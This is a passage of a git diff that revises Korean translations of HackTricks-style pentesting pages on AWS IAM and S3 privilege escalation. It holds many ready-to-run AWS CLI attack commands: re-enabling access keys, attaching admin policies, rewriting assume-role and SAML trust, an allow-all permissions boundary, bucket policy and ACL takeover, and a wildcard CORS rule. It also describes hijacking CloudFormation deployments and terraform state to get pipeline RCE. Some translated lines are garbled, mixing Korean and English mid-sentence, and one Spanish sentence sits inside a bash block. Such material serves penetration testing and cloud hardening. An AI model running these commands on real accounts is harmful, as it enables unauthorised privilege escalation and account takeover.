-사용 중지된 access key를 활성화할 수 있으며, 공격자가 해당 access key를 보유하고 있다면 무단 접근으로 이어질 수 있습니다.
+비활성화된 access key를 활성화할 수 있어, attacker가 이를 보유하고 있다면 무단 접근으로 이어질 수 있습니다.
**Exploit:**
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
-**영향:** 액세스 키를 재활성화하여 직접적인 권한 상승을 초래함.
+**Impact:** 액세스 키를 재활성화하여 직접적인 권한 상승을 초래함.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
-특정 AWS 서비스(예: CodeCommit, Amazon Keyspaces)에 대한 자격 증명을 생성하거나 재설정할 수 있게 하며, 해당 자격 증명은 연관된 사용자의 권한을 상속합니다.
+특정 AWS 서비스(예: CodeCommit, Amazon Keyspaces)에 대한 자격 증명을 생성하거나 재설정할 수 있게 하며, 해당 사용자의 권한을 상속함.
**Exploit for Creation:**
```bash
@@ -79,31 +79,31 @@ aws iam create-service-specific-credential --user-name --service-name
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**영향:** 사용자의 서비스 권한 범위 내에서 직접적인 권한 상승.
+**영향:** 사용자의 서비스 권한 내에서의 직접적인 privilege escalation.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-사용자나 그룹에 정책을 연결할 수 있게 하며, 연결된 정책의 권한을 상속받아 직접적으로 권한이 상승합니다.
+사용자 또는 그룹에 정책을 연결할 수 있도록 허용하며, 연결된 정책의 권한을 상속받아 직접적인 privilege escalation을 발생시킵니다.
-**Exploit (사용자용):**
+**Exploit for User:**
```bash
aws iam attach-user-policy --user-name --policy-arn ""
```
-**Exploit 그룹용:**
+**그룹용 Exploit:**
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
-**영향:** 정책이 부여하는 모든 대상에 대한 직접적인 권한 상승.
+**영향:** 해당 정책이 부여하는 모든 항목에 대한 직접적인 권한 상승.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-역할, 사용자 또는 그룹에 정책을 연결하거나 추가할 수 있도록 허용하여 추가 권한을 부여함으로써 직접적인 권한 상승을 가능하게 합니다.
+역할, 사용자 또는 그룹에 정책을 연결하거나 적용할 수 있도록 허용하여, 추가 권한을 부여함으로써 직접적인 권한 상승을 가능하게 합니다.
-**Exploit for Role:**
+**Role에 대한 Exploit:**
```bash
aws iam attach-role-policy --role-name --policy-arn ""
```
-**Inline Policies용 Exploit:**
+**Exploit for Inline Policies:**
```bash
aws iam put-user-policy --user-name --policy-name "" \
--policy-document "file:///path/to/policy.json"
@@ -127,28 +127,28 @@ aws iam put-role-policy --role-name --policy-name "" \
]
}
```
-**영향:** 정책을 통해 권한을 추가하여 직접적인 권한 상승.
+**Impact:** 정책을 통해 권한을 추가하여 직접적인 권한 상승.
### **`iam:AddUserToGroup`**
-자신을 IAM 그룹에 추가할 수 있게 하며, 그룹의 권한을 상속받아 권한이 상승합니다.
+자신을 IAM 그룹에 추가할 수 있어, 그룹의 권한을 상속받아 권한을 상승시킵니다.
-**악용:**
+**Exploit:**
```bash
aws iam add-user-to-group --group-name --user-name
```
-**영향:** 직접적인 privilege escalation을 통해 그룹의 권한 수준으로 상승합니다.
+**영향:** 그룹의 권한 수준으로 직접 권한 상승.
### **`iam:UpdateAssumeRolePolicy`**
-해당 권한은 역할의 assume role policy 문서를 변경할 수 있게 하여, 해당 역할과 연관된 권한을 가정(assume)할 수 있도록 합니다.
+역할의 assume role policy 문서를 변경할 수 있게 허용하여, 해당 역할과 그에 연관된 권한을 획득(assume)할 수 있게 한다.
-**Exploit:**
+**악용:**
```bash
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-정책이 다음과 같아 사용자가 역할을 맡도록 허용하는 경우:
+정책이 아래와 같이 되어 있어 사용자가 해당 역할을 assume할 수 있는 권한을 부여하는 경우:
```json
{
"Version": "2012-10-17",
@@ -163,13 +163,13 @@ aws iam update-assume-role-policy --role-name \
]
}
```
-**Impact:** 역할의 권한을 가정하여 직접적인 권한 상승.
+**영향:** 임의의 역할 권한을 가정하여 직접적인 권한 상승이 가능합니다.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-SSH 공개 키를 업로드하여 CodeCommit에 인증하거나 MFA 디바이스를 비활성화할 수 있게 하며, 잠재적인 간접 권한 상승으로 이어질 수 있습니다.
+CodeCommit 인증용 SSH 공개키 업로드와 MFA 장치 비활성화를 허용하여 간접적인 권한 상승으로 이어질 수 있습니다.
-**SSH 키 업로드를 위한 Exploit:**
+**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name --ssh-public-key-body
```
@@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number
```
-**영향:** CodeCommit 접근을 허용하거나 MFA 보호를 비활성화함으로써 발생할 수 있는 간접적인 privilege escalation.
+**영향:** 간접적인 privilege escalation: CodeCommit 접근을 허용하거나 MFA 보호를 비활성화함으로써 발생할 수 있음.
### **`iam:ResyncMFADevice`**
-MFA 디바이스의 재동기화를 허용하며, MFA 보호를 조작하여 간접적인 privilege escalation로 이어질 수 있습니다.
+MFA 장치의 재동기화를 허용하며, MFA 보호를 조작하여 간접적인 privilege escalation로 이어질 수 있음.
-**Bash Command:**
+**Bash 명령:**
```bash
aws iam resync-mfa-device --user-name --serial-number \
--authentication-code1 --authentication-code2
```
-**Impact:** MFA 디바이스를 추가하거나 조작함으로써 간접적인 권한 상승.
+**Impact:** MFA devices를 추가하거나 조작함으로써 발생하는 간접적인 권한 상승.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-이 권한이 있으면 **change the XML metadata of the SAML connection**. 그 후 **SAML federation**을 악용해 이를 신뢰하는 임의의 **role that is trusting**로 **login**할 수 있습니다.
+이 권한들이 있으면 **SAML connection의 XML metadata를 변경할 수 있습니다**. 그런 다음 **SAML federation을** 악용하여 이를 신뢰하는 **임의의 role**로 **login**할 수 있습니다.
-주의: 이렇게 하면 **legit users won't be able to login**. 하지만 XML을 얻을 수 있으므로 자신의 것으로 교체하고 **login**한 뒤 이전 상태로 다시 구성할 수 있습니다.
+Note that doing this **정상 사용자는 더 이상 로그인할 수 없습니다**. 하지만 XML을 획득해 자신의 것으로 교체한 뒤 **login**하여 이전 상태로 다시 구성할 수 있습니다.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document --saml-provider-arn
```
> [!NOTE]
-> TODO: SAML metadata를 생성하고 지정된 role로 로그인할 수 있는 도구
+> TODO: 지정된 role로 로그인할 수 있는 SAML 메타데이터를 생성하는 도구
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(확실하지 않음) 공격자가 이러한 **권한**을 가지고 있으면 새 **Thumbprint**를 추가하여 해당 provider를 신뢰하는 모든 role로 로그인할 수 있다.
+(확실하지 않음) 만약 attacker가 이러한 **permissions**를 가지고 있다면, provider를 신뢰하는 모든 roles에 로그인할 수 있도록 새로운 **Thumbprint**를 추가할 수 있습니다.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,8 +226,35 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
-이 권한은 공격자가 사용자의 권한 경계(permissions boundary)를 업데이트할 수 있게 하여, 기존 권한으로는 제한된 작업을 수행할 수 있도록 허용함으로써 권한을 상승시킬 수 있습니다.
+이 권한은 공격자가 사용자의 권한 경계를 업데이트할 수 있게 하며, 이를 통해 기존 권한으로는 제한된 작업을 수행할 수 있도록 권한을 승격시킬 수 있습니다.
+```bash
+aws iam put-user-permissions-boundary \
+--user-name \
+--permissions-boundary arn:aws:iam:::policy/
+Un ejemplo de una política que no aplica ninguna restricción es:
+
+
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BoundaryAllowAll",
+"Effect": "Allow",
+"Action": "*",
+"Resource": "*"
+}
+]
+}
+```
+### `iam:PutRolePermissionsBoundary`
+
+iam:PutRolePermissionsBoundary 권한을 가진 주체는 기존 역할에 권한 경계(permissions boundary)를 설정할 수 있습니다. 이 권한을 가진 사람이 역할의 경계를 변경할 때 위험이 발생합니다: 작업을 부적절하게 제한하여 서비스 중단을 초래할 수 있고, 또는 관대한(permissive) 권한 경계를 부착하면 해당 역할이 수행할 수 있는 작업을 사실상 확장하여 권한 상승을 일으킬 수 있습니다.
+```bash
+aws iam put-role-permissions-boundary \
+--role-name \
+--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
+```
## 참고자료
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
index e4b927f12..97d9b9129 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-해당 권한을 흥미로운 버킷들에 대해 가진 공격자는 리소스를 탈취하고 권한을 상승시킬 수 있습니다.
+해당 권한을 흥미로운 버킷에 가지고 있는 공격자는 리소스를 탈취하고 권한을 상승시킬 수 있습니다.
-예를 들어, "cf-templates-nohnwfax6a6i-us-east-1"이라는 **cloudformation 버킷에 대한 권한**을 가진 공격자는 배포를 탈취할 수 있습니다. 접근 권한은 다음 정책으로 부여될 수 있습니다:
+For example, an attacker with those **cloudformation 버킷에 대한 권한** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy:
```json
{
"Version": "2012-10-17",
@@ -34,30 +34,30 @@
]
}
```
-그리고 하이재킹은 템플릿이 버킷에 업로드되는 순간부터 템플릿이 배포되는 순간까지의 **짧은 시간 윈도우**가 있기 때문에 가능합니다. 공격자는 자신의 계정에 **lambda function**을 생성해 버킷 알림이 전송될 때 **트리거**되게 하고, 해당 **버킷**의 **content**를 **hijacks**할 수도 있습니다.
+그리고 hijack는 template가 bucket에 업로드된 순간부터 template가 배포되는 순간까지 **작은 시간 창(small time window)**이 있기 때문에 가능합니다. 공격자는 자신의 계정에 bucket notification이 전송될 때 **trigger** 되는 **lambda function**을 만들어 그 **bucket**의 **content**를 hijack할 수 있습니다.
.png>)
-Pacu 모듈 [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection)은 이 공격을 자동화하는 데 사용할 수 있습니다.\
+The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
자세한 정보는 원본 연구를 확인하세요: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
-이 권한들은 **S3에서 객체를 가져오고 업로드하는** 권한입니다. AWS 내부(및 외부)의 여러 서비스가 **config files**를 저장하기 위해 S3 스토리지를 사용합니다.\
-공격자가 이에 대한 **read access**를 갖고 있다면 민감한 정보를 찾을 수 있습니다.\
-공격자가 이에 대한 **write access**를 갖고 있다면 **데이터를 변경하여 일부 서비스를 악용하고 권한을 상승시킬 수 있습니다**.\
-몇 가지 예는 다음과 같습니다:
+이 권한들은 **S3에 객체를 업로드하고 가져오는(get and upload objects to S3)** 권한입니다. AWS 내부(및 외부)의 여러 서비스는 **config files**를 저장하기 위해 S3 storage를 사용합니다.\
+공격자가 해당 파일들에 대해 **read access**를 가지면 그 안에서 **민감한 정보(sensitive information)**를 찾을 수 있습니다.\
+공격자가 **write access**를 가지면 데이터를 수정해 어떤 서비스를 악용하거나 **권한 상승(escalate privileges)**을 시도할 수 있습니다.\
+예시는 다음과 같습니다:
-- 만약 EC2 인스턴스가 **user data를 S3 버킷에 저장**하고 있다면, 공격자는 이를 수정해 EC2 인스턴스 내부에서 **execute arbitrary code**를 수행하게 할 수 있습니다.
+- 만약 EC2 인스턴스가 **user data를 S3 bucket에 저장**하고 있다면, 공격자는 이를 수정해 **EC2 인스턴스 내부에서 임의의 코드를 실행(execute arbitrary code)**할 수 있습니다.
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
-[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state 파일들이 클라우드 제공자의 blob 스토리지(예: AWS S3)에 저장되는 경우가 매우 흔합니다. state 파일의 확장자는 `.tfstate`이고, 버킷 이름에서도 terraform state 파일을 담고 있다는 점을 쉽게 유추할 수 있습니다. 보통 모든 AWS 계정에는 계정 상태를 보여주는 state 파일을 저장하는 이런 버킷이 하나씩 있습니다.
-또한 현실의 계정에서는 거의 항상 모든 개발자가 `s3:*` 권한을 가지고 있고, 때로는 비즈니스 사용자도 `s3:Put*` 권한을 가지고 있는 경우가 많습니다.
+[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state 파일들이 클라우드 제공자의 blob storage(예: AWS S3)에 저장되는 경우가 매우 흔합니다. state 파일의 확장자는 `.tfstate`이고, 버킷 이름만으로도 terraform state 파일을 저장하고 있음을 알 수 있는 경우가 많습니다. 보통 각 AWS 계정에는 계정의 상태를 보여주는 state 파일을 저장하기 위한 버킷이 하나씩 있습니다.
+또한 실제 환경에서는 거의 항상 모든 개발자가 `s3:*` 권한을 가지고 있고, 때로는 비즈니스 사용자도 `s3:Put*` 권한을 가지는 경우가 있습니다.
-따라서 이러한 파일들에 대해 위에 나열된 권한을 가지고 있다면, `terraform`의 권한(대부분의 경우 `AdministratorAccess`)으로 파이프라인에서 RCE를 획득할 수 있는 공격 벡터가 존재합니다. 또한 이 벡터를 이용해 `terraform`이 정상 리소스를 삭제하게 하여 denial of service attack을 수행할 수도 있습니다.
+따라서 이런 파일들에 대해 위 권한을 가지고 있다면, `terraform` 권한으로 파이프라인에서 RCE를 획득할 수 있는 공격 벡터가 존재합니다 — 대부분의 경우 `AdministratorAccess` 권한을 가지게 되어 클라우드 계정의 관리자가 됩니다. 또한 해당 벡터를 이용해 `terraform`이 정상 리소스를 삭제하게 만들어 서비스 거부(DoS) 공격을 할 수도 있습니다.
-직접 사용 가능한 익스플로잇 코드는 *Terraform Security* 페이지의 *Abusing Terraform State Files* 섹션 설명을 따르세요:
+직접 사용할 수 있는 익스플로잇 코드는 *Terraform Security* 페이지의 *Abusing Terraform State Files* 섹션 설명을 따르세요:
{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -65,7 +65,7 @@ Pacu 모듈 [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu
### `s3:PutBucketPolicy`
-공격자는 **같은 계정에서 온 사용자여야** 합니다(그렇지 않으면 `The specified method is not allowed will trigger` 오류가 발생합니다). 이 권한을 통해 해당 버킷들에 대해 더 많은 권한을 자기 자신에게 부여할 수 있으며, 결과적으로 읽기, 쓰기, 수정, 삭제 및 버킷 노출 등이 가능해집니다.
+같은 계정(from the same account)에 있어야 하는 공격자는, 그렇지 않으면 `The specified method is not allowed will trigger` 오류가 발생하지만, 이 권한으로 자신에게 해당 버킷들에 대해 더 많은 권한을 부여할 수 있어 읽기, 쓰기, 수정, 삭제 및 버킷 노출이 가능해집니다.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -123,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -151,7 +151,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-공격자는 이러한 권한을 악용해 특정 버킷 내 객체에 대한 접근 권한을 자신에게 더 부여할 수 있다.
+공격자는 이러한 권한을 악용해 버킷 내 특정 객체에 대한 접근 권한을 자신에게 더 부여할 수 있습니다.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
@@ -178,9 +178,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-이 권한을 가진 공격자는 특정 객체 버전에 Acl을 설정할 수 있어야 한다.
+이 권한을 가진 공격자는 특정 객체 버전에 Acl을 적용할 수 있는 것으로 예상됩니다.
```bash
aws s3api get-object-acl --bucket --key flag
aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json
```
+### `s3:PutBucketCORS`
+
+이 권한을 가진 공격자는 버킷의 CORS (Cross-Origin Resource Sharing) 구성을 수정할 수 있으며, 이는 어떤 웹 도메인이 해당 엔드포인트에 접근할 수 있는지를 제어합니다. 만약 허용적인 정책을 설정하면, 어떤 웹사이트든 버킷에 직접 요청을 보내고 브라우저에서 응답을 읽을 수 있게 됩니다.
+
+즉, 잠재적으로 버킷에서 호스팅되는 웹 앱에 인증된 사용자가 공격자의 웹사이트를 방문하면, 공격자는 허용적인 CORS 정책을 악용하여 애플리케이션에 따라 사용자의 프로필 데이터에 접근하거나 심지어 사용자의 계정을 탈취할 수 있습니다.
+```bash
+aws s3api put-bucket-cors \
+--bucket \
+--cors-configuration '{
+"CORSRules": [
+{
+"AllowedOrigins": ["*"],
+"AllowedMethods": ["GET", "PUT", "POST"],
+"AllowedHeaders": ["*"],
+"ExposeHeaders": ["x-amz-request-id"],
+"MaxAgeSeconds": 3000
+}
+]
+}'
+```
{{#include ../../../../banners/hacktricks-training.md}}
.png)
.png)
.png)